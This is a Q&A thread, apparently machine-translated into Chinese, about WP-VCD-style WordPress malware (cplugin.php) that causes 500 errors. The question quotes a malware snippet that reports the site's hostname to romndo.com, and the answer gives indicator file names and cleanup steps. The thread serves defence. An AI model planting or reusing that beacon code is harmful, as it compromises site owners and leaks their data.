cplugin.php 文件恶意软件导致 WordPress 网站 500 错误和中断

Question

cplugin.php最近发生了一次攻击，许多 WordPress 网站因恶意软件文件而被关闭。

该恶意软件是编写错误的代码，因此目前它主要导致 500 服务器运行时错误。但最好立即将其删除，因为它会迁移到服务器上的所有多个网站，并且具有点击恶意软件 URL 来下载其他文件的代码。恶意软件代码片段：

if(get_option('log_install') !=='1')
{
    if(!$log_installed = @file_get_contents("http://www.romndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]))
{
    $log_installed = @file_get_contents_cplugin("http://www.romndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]);
}
}

我已经找到了一个解决方案并自己发布答案以帮助所有用户。

编辑：

有报告称同一文件对用户的命名不同：在这种情况ccode.php, cplugin.php下helad.php可以修改修复程序。

Answer 1

这不是攻击，而是您自己下载并安装的无效插件或主题中包含的恶意软件。它是 WP-VCD 的更新版本 - WordFence 有一份白皮书，其中包含WP-VCD：您在自己的网站上安装的恶意软件中的所有详细信息，也许我们应该将其称为“WP-VCD 重新加载”:)

妥协的指标是名为ccode.php、cplugin.php、helad.php和mplugin.php（和admin_ips.txt） 的插件文件，wp-content/plugins以及带有文件class.plugin-modules.php或class.theme-modules.php文件夹中某处的插件/主题。

打扫干净

1. 找到包含恶意软件的插件或主题，class.plugin-modules.php然后class.theme-modules.php删除该插件或主题（如果需要，请从官方来源购买）。
2. 删除恶意软件插件：ccode.php、cplugin.php或helad.php。mplugin.php
3. 对同一托管帐户/服务器下的所有站点重复此操作。

安装过程似乎确实涉及wp-includes/functions.php，但它只是尝试删除恶意软件，因此这可能是以前恶意软件版本升级的一部分。